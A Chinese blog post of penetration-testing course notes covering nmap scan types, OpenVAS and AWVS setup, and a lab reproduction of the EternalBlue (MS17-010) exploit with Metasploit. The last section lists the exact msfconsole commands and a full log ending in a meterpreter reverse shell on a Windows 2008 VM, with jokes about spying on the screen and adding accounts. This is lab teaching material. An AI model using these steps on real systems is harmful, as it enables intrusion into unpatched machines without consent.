043 扫描技术，OpenVAS，AWVS，永恒之蓝漏洞复现

已于 2022-02-19 16:37:35 修改
阅读量1.5k 收藏 5
点赞数
分类专栏： 网络安全 文章标签： 安全 网络 web安全
于 2022-02-19 16:36:35 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34555653/article/details/123014505
版权

文章目录

扫描技术

扫描
自动化
	提高效率

扫描神器

nmap，跨平台使用
官网：https://nmap.org
如果使用kali中的nmap扫描的时候，建议桥接网络。在没有指定端口的情况下，默认扫描top 1000 端口。

资产发现

发现目标环境中有哪些资产（联网设备，主机，服务器，各种服务等）
资产整理，发现，收集

主机发现：

有哪些主机在线？IP地址

端口扫描：

确定在线的某个主机开启了哪些端口，开启了端口就会有相应的服务

扫描方式：
		TCP 全链接扫描
			nmap  -sT 10.0.105.1 -p 80		建立完整的三次握手过程
		SYN	半连接扫描
			nmap -sS ip -p port			只进行三次握手的前两次
		隐蔽扫描(不适用于windows系统)
			Null 扫描		-sN		发个包，包的标志位全为0
			Xmas 扫描		-sX
			FIN	扫描		-sF
命令：
	nmap ip
	nmap 127.0.0.1
	nmap 10.1.105.0/24 -sP
参数：
	-sP或者-sn				不进行端口扫描
	-p						指定端口		-p 80	-p 1-65535		-p 80,3389  -p-：表示-p 1-65535
	-sV						显示服务的详细版本	nmap -sV 127.0.0.1 -p 22
端口状态：
	开放
	关闭
	过滤
	未过滤
	开放|过滤
	关闭|过滤
工具：
	抓包工具：wireshark
	ip.addr == 10.157.14.169 and tcp.port == 80

 

网络漏洞扫描

我们可以通过网络漏洞扫描，全面掌握目标服务器存在的安全漏洞。市面上常用的扫描有Nessus,NeXpose,OpenVAS等，
这些扫描器都有商业版，免费版或者家庭版。

本课程使用的网络扫描器是OpenVAS，可以用来识别远程主机，web应用存在的各种漏洞。Nessus曾是业内开源漏洞扫描工具的标准，在Nessus商业化不再开放源代码后，在它的原始项目中分支出OpenVAS开源项目。经过多年的发展，OpenVAS已经成为当前最好的开源。

漏洞扫描器，功能非常强大，甚至可以与一些商业的漏洞扫描器相媲美。OpenVAS使用NVT脚本对多钟远程系统（包括Windows,linux以及web应用等）的安全问题进行检测

原理：
网络漏洞扫描指的是利用一些自动化工具发现网络上各类主机设备的安全漏洞。这些自动化工具通常称之为漏洞扫描器。

黑盒扫描：
一般是通过远程识别服务的类型和版本，对服务是否存在漏洞进行判定，在一些最新的漏洞扫描软件中，应用了一些更高级的技术，比如模拟渗透攻击等。

白盒扫描:
在拥有主机操作权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描，查找存在的安全漏洞，并向你推送相应的操作系统补丁。

白盒扫描的结果更加准确，但一般来说它所识别出的漏洞不应当作为外部渗透测试的最终数据，因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透测试中得到利用。同时，一般情况下你是没有机会获取用户名和口令。

漏洞扫描一般会附带一个用于识别主机漏洞的特征库，并定期进行更新。在漏洞扫描的时候，就是利用特征库里面的脚本与目标系统的反馈信息进行匹配，如果能匹配上，就说明存在某一个漏洞。

漏洞扫描器在识别漏洞的过程中，会向目标发送大量的数据包，有时候会导致目标系统拒绝服务或被扫描数据包阻塞，扫描行为也会被对方的入侵检测设备发现。

漏洞扫描器扫描出的结果通常会有很多误报（报告的漏洞实际不存在）或者漏报，因此，需要对扫描结果进行人工分析，确定哪些漏洞是实际存在的，这个过程就叫做漏洞验证。这是渗透测试过程中不可缺失的一步，只有验证漏洞存在的真实性，才能对漏洞进行深度利用。

渗透测试过程中，在得到客户认可的情况下，可以使用扫描器进行扫描，但使用时一定要注意规避风险，对其系统运行可能造成的影响降到最低。

OpenVAS的使用

	网络漏洞扫描实测：	
		开启OpenVAS，打开浏览器（可以是物理机，也可以是虚拟机）输入OpenVAS显示的IP地址。
		扫描目标：
			开始进行扫描的时候需要新建一个目标。
			新建目标
			填好相关信息，点击[create]
			创建好的目标如下
		扫描策略：
			查看扫描模板，就是在扫描过程中使用的扫描策略和配置，这个扫描模板也可以自己配置。
		扫描任务
			创建好目标之后，我们创建扫描任务。
			新建任务
			填写好相关信息，名称自定义。扫描目标要选择之前我们配置过的，会以下拉列表的形式展现。
			创建好的扫描目标如下。
			点击开始按钮开始扫描。
		扫描完成
			扫描结束之后，显示已经完成。
			点击任务状态，可以查看扫描结果
		扫描报告
			我们可以将扫描的结果以报告的形式保存下来，这里的报告格式自选。

在这里插入图片描述
输入上图中的IP到浏览器上，登录，【webadmin/123】
在这里插入图片描述
登录之后：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
如下图配置：
在这里插入图片描述
保存之后：
在这里插入图片描述
然后点击Scans
在这里插入图片描述
点击new task
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

AWVS的安装与使用

在网上下载好AWVS
解压到虚拟机中
在这里插入图片描述
双击运行标红框的exe文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
此时，在安装的会弹出网页（类似于如何安装使用的视频教学），直接关掉就可以了。
在这里插入图片描述
点击finish之后，会出现如下弹窗：
在这里插入图片描述
先别关闭，双击运行红色图标的exe
在这里插入图片描述
点击右下角
在这里插入图片描述
会发现内容已经被填充了，关闭黑色窗口，然后点击next
在这里插入图片描述
在这里插入图片描述
然后点击finish
在这里插入图片描述
安装完成
在这里插入图片描述
双击运行：点击cancel
在这里插入图片描述
点击next
在这里插入图片描述
在这里插入图片描述
视频里面是nginx/1.4.1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

永恒之蓝漏洞复现

开启一台win2008虚拟机和一台kali系统虚拟机
这两台虚拟机可以互通网络
win 2008 ip:10.157.12.151
kali:10.157.14.169

工具：MSF(metasploit framework)
		步骤：
			msfconsole
			search ms17-010			查找漏洞代码
			use exploit/windows/smb/ms17_010_eternalblue		使用何种攻击方式
			set rhosts 10.157.12.151		设置攻击的主机的IP
			set lhosts 10.157.14.169		本机IP，这一步可以省略
			exploit			开启攻击

kali界面源码：

	┌──(root💀kali)-[/]
	└─# msfconsole                                                                                                           
													  
							  ########                  #
						  #################            #
					   ######################         #
					  #########################      #
					############################
				   ##############################
				   ###############################
				  ###############################
				  ##############################
								  #    ########   #
					 ##        ###        ####   ##
										  ###   ###
										####   ###
				   ####          ##########   ####
				   #######################   ####
					 ####################   ####
					  ##################  ####
						############      ##
						   ########        ###
						  #########        #####
						############      ######
					   ########      #########
						 #####       ########
						   ###       #########
						  ######    ############
						 #######################
						 #   #   ###  #   #   ##
						 ########################
						  ##     ##   ##     ##
								https://metasploit.com


		   =[ metasploit v6.0.30-dev                          ]
	+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post       ]
	+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
	+ -- --=[ 7 evasion                                       ]

	Metasploit tip: Search can apply complex filters such as 
	search cve:2009 type:exploit, see all the filters 
	with help search

	msf6 > search ms17-010
																																 
	Matching Modules                                                                                                             
	================                                                                                                             
																																 
	   #  Name                                           Disclosure Date  Rank     Check  Description                            
	   -  ----                                           ---------------  ----     -----  -----------                            
	   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
	   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
	   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
	   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
	   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
	   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


	Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce

	msf6 > use exploit/windows/smb/ms17_010_eternalblue
	[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
	msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.157.12.151
	rhosts => 10.157.12.151
	msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhosts 10.157.14.169
	lhosts => 10.157.14.169
	msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 

	[*] Started reverse TCP handler on 10.157.12.220:4444 
	[*] 10.157.12.151:445 - Executing automatic check (disable AutoCheck to override)
	[*] 10.157.12.151:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
	[+] 10.157.12.151:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
	[*] 10.157.12.151:445     - Scanned 1 of 1 hosts (100% complete)
	[+] 10.157.12.151:445 - The target is vulnerable.
	[*] 10.157.12.151:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
	[+] 10.157.12.151:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
	[*] 10.157.12.151:445     - Scanned 1 of 1 hosts (100% complete)
	[*] 10.157.12.151:445 - Connecting to target for exploitation.
	[+] 10.157.12.151:445 - Connection established for exploitation.
	[+] 10.157.12.151:445 - Target OS selected valid for OS indicated by SMB reply
	[*] 10.157.12.151:445 - CORE raw buffer dump (53 bytes)
	[*] 10.157.12.151:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
	[*] 10.157.12.151:445 - 0x00000010  30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73  008 R2 Enterpris
	[*] 10.157.12.151:445 - 0x00000020  65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50  e 7601 Service P
	[*] 10.157.12.151:445 - 0x00000030  61 63 6b 20 31                                   ack 1           
	[+] 10.157.12.151:445 - Target arch selected valid for arch indicated by DCE/RPC reply
	[*] 10.157.12.151:445 - Trying exploit with 12 Groom Allocations.
	[*] 10.157.12.151:445 - Sending all but last fragment of exploit packet
	[*] 10.157.12.151:445 - Starting non-paged pool grooming
	[+] 10.157.12.151:445 - Sending SMBv2 buffers
	[+] 10.157.12.151:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
	[*] 10.157.12.151:445 - Sending final SMBv2 buffers.
	[*] 10.157.12.151:445 - Sending last fragment of exploit packet!
	[*] 10.157.12.151:445 - Receiving response from exploit packet
	[+] 10.157.12.151:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
	[*] 10.157.12.151:445 - Sending egg to corrupted connection.
	[*] 10.157.12.151:445 - Triggering free of corrupted buffer.
	[*] Sending stage (200262 bytes) to 10.157.12.151
	[*] Meterpreter session 1 opened (10.157.12.220:4444 -> 10.157.12.151:64659) at 2022-02-19 16:07:54 +0800
	[+] 10.157.12.151:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
	[+] 10.157.12.151:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
	[+] 10.157.12.151:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
	meterpreter >

我们切回win2008，在CMD界面输入netstat会发现有建立连接
在这里插入图片描述
接下来就可以“干坏事了”，比如偷窥屏幕
在这里插入图片描述
还可以通过shell命令，以管理员的身份进入对方的操作系统。查看对方的IP地址或者是建立属于自己的用户。。。
在这里插入图片描述

入狱计划进度50%
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
OpenVAS和AWVS的介绍、安装、使用和相关实验
weixin_44870846的博客
07-27 1232
目录 OpenVAS OpenVAS的介绍 OpenVAS的安装 安装环境 安装步骤 OpenVAS启动出现错误解决方法 OpenVAS的使用 访问OpenVAS 设置扫描目标 扫描策略 扫描任务 导出扫描报告 AWVS AWVS介绍 AWVS的管理 AWVS的使用 访问 创建扫描目标 开启扫描任务 导出扫描报告 OpenVAS OpenVAS的介绍 网络扫描器，可以用来识别远程主机、Web应用程序存在的漏洞，是当前最好的开源漏洞扫描器之一 OpenVA.
猿创征文｜网络安全的十大经典工具介绍
ztK63LrD的博客
10-28 4891
Nessus 针对每一个漏洞有一个对应的插件，漏洞插件是用NASL(NESSUS Attack Scripting Language)编写的一小段模拟攻击漏洞的代码，这种利用漏洞插件的扫描技术极大的方便了漏洞数据的维护、更新；它的功能包括非认证测试、认证测试、各种高水平和低水平的互联网和工业协议、大规模扫描的性能调整和一个强大的内部编程语言来实现任何类型的漏洞测试。，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。
AWVS使用手册 （全），大牛带你直击优秀开源框架灵魂
最新发布
2301_82243078的博客
04-17 950
1、点击菜单栏的 New Scan 新建一次扫描， 网站扫描开始前，需要设定下面选项:3). Target4). Login5). Finsh​①：Scan single website：在Website URL处填入需要扫描的网站网址，如果你想要扫描一个单独的应用程序，而不是整个网站，可以在填写网址的地方写入完整路径。wvs支持HTTP/HTTPS网站扫描。
开源工具利器之软WAF：ngx_lua_waf
黑白的博客
08-15 3332
源码中，作者定义的策略要么是在白名单（IP、URI）中，直接return true，后面不用再检测，要么是在黑名单，say_html()后return true，不往后进行如果我们想做一个方法的白名单，只允许GET/POST/OPTIONS方法，客户端请求的方法只允许这三个，但是又要进行后面的参数、cookie等校验，你不能因为设置了方法白名单后，客户端发来一个GET请求，就不做后面的校验吧？
OpenVas与AWVS 安装使用
告白的博客
07-23 769
0x00 漏扫工具介绍 1）OpenVas：系统漏洞扫描工具 OpenVas是一款开源的漏洞扫描工具，是Nessus项目分支，检测目标网络或主机的安全性。现基于B/S(浏览器/服务器)架构进行工作，执行扫描并提供扫描结果 2）AWVS：web漏洞扫描工具 AWVS是一款Web网络漏洞扫描工具，它通过网络爬虫测试你的网站安全，检测流行安全漏洞 0x01 工具安装 1）AWVS 提前要有工具包 ...
扫描工具awvs简单使用介绍
ldzhhh的博客
05-31 2209
一、 AWVS功能模块 1、Web Scanner——web安全漏洞扫描功能 2、Site Crawler ——爬虫功能（遍历站点目录结构） 3、Target Finder ——端口扫描功能（与nmap相似） 4、Subdomain Scanner ——子域名扫描功能 5、Blind SQL Injection ——SQL盲注测试工具 6、HTTP Editor ——HTTP数据包请求编辑器 7、HTTP Sniffer ——HTTP协议嗅探工具 8、HTTP Fuzzer ——HTTP模糊测试工具 9、A
2022渗透测试-推荐一款漏洞扫描工具-AWVS安装与使用
保持微笑的博客
02-10 1万+
目录 AWVS简介 AWVS功能介绍 AWVS的安装 AWVS的使用 AWVS简介 AWVS是一个自动化的Web应用程序安全测试工具，它可以扫描任何可通过Web浏览器访问的和遵循HTTP/HTTPS规则的Web站点和Web应用程序。适用于任何中小型和大型企业的内联网、外延网和面向客户、雇员、厂商和其它人员的Web网站。AWVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。 AWVS功能介绍 WebScanner ：核心功能，web安全漏洞.
漏洞扫描工具openvas的源码
12-06
总的来说，OpenVAS的源码提供了对网络安全扫描技术的深入了解，对于C/C++程序员和安全专业人士来说，这是一个宝贵的资源，可以提升他们的技能，同时也有助于网络安全社区的发展。通过深入研究OpenVAS的各个组件，...
网络漏洞扫描技术PPT课件
07-07
网络漏洞扫描技术是网络安全领域的重要组成部分，它涉及到对计算机系统、网络设备、软件应用等潜在脆弱性的识别和评估。漏洞扫描技术的主要目的是发现网络中可能存在的安全漏洞，以便及时修补，防止恶意攻击者利用...
OpenVAS漏洞扫描基础教程
08-26
本基础教程将引导你了解如何使用OpenVAS进行有效的漏洞扫描，确保你的网络环境安全。 首先，理解OpenVAS的基本架构是至关重要的。OpenVAS由多个组件构成，包括Nessus兼容的扫描器（Greenbone Security Assistant，...
kali2020最新版漏洞扫描工具openvas的使用实验报告
06-06
在kali更新完之后的2020.2版本中，在使用openvas的过程中可能出现一系列的问题，需要重新安装，该实验报告中详细截图了使用过程中遇到的问题及该软件的使用方法
Acunetix安全测试软件开源
05-20
安全扫描工具，测试软件，可使用，非常好用，附有文档
漏洞扫描工具系列1.2
04-01
1. 工具选择：了解市场上常见的漏洞扫描工具，如Nessus、OpenVAS、Nmap、Qualys等，它们的特性、适用场景及优缺点。 2. 工具使用：掌握每个工具的安装、配置和扫描流程，包括如何设置扫描策略、选择目标、定义报告...
使用AWVS进行网站的漏洞扫描
YQavenger的博客
09-16 3764
概述：AWVS是一款web网站的漏洞扫描工具 步骤 1、首先安装AWVS软件，安装过程很简单，不过中间会让输入邮箱和密码，邮箱可以随便写。这个是后来登录要用的，要记一下。 2、安装完成之后，打开AWVS，它会自动打开浏览器并来到它的web界面。这里输入刚刚安装过程中填写的邮箱还有密码就可以登录进去了 3、AWVS默认进入的是Targets界面，也就是任务界面，因为是第一次使用这个扫描工具，所以这里什么都没有。可以点击Create new Target或者Add Target来创建任务 4、这里就不去扫
【web安全】漏扫工具 AWVS | Nessus
Vector_seven的博客
09-21 764
因为我们解压后的firefox文件夹在桌面，所以直接在桌面打开终端。点击/usr/lib/firefox中的firefox即可打开。nessus同样给出了修复建议：升级apache版本。（我以为更新后右键有网页翻译功能，结果并没有！同样我们可以去看看cve-2021-39275漏洞。将新版本的firefox移动至/usr/lib/下。报错，所以先删除原来的，再创一次。cookie容易被窃取的漏洞。
如何使用 AWVS 安全扫描器进行网站漏洞检查
weixin_43263566的博客
02-10 723
漏洞扫描器之AWVS
Web漏洞扫描器-AWVS
kangzinian的博客
04-21 546
Web漏洞扫描工具 一、Web漏洞扫描工具 一、漏洞扫描 漏洞扫描是指基于漏洞数据库，通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测，发现课利用楼梯的一种安全检测（渗透挂机）行为。 二、WEB漏洞扫描器 针对于Web应用程序所开发的漏洞扫描器，例如SQL注入、XSS跨站脚本攻击等常见漏洞，进行自动式扫描探测是否存在漏洞。 二、安装Linux AWVS 移动文件到kali 分配权...
渗透测试-----网络漏洞扫描（原理步骤、AWVS、OpenVAS、“永恒之蓝”测试）
热门推荐
Pluto.的博客
12-14 1万+
文章目录渗透测试网络漏洞扫描一、概述1. 简述2. 漏洞扫描原理3. 漏洞扫描器原理4. Web漏洞扫描步骤二、AWVS1. 概述2. 安装3. web扫描器三、OpenVAS1. 概述2. kali上安装1）更新kali源2）安装openvas3）其他说明3. 基本步骤1）扫描目标2）扫描策略3）扫描任务4）扫描完成5）扫描报告4. MSF概述5. 测试 ms17-010--“永恒之蓝” 渗透测试 网络漏洞扫描 一、概述 1. 简述 如何及时、快速发现Web应用安全漏洞，并且修补安全漏洞，减轻或消除Web
Docker破解AWVS和Nessus
hetaozdh的博客
07-29 8006
Docker破解AWVS和Nessus。真的很方便，做到了开箱即用。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值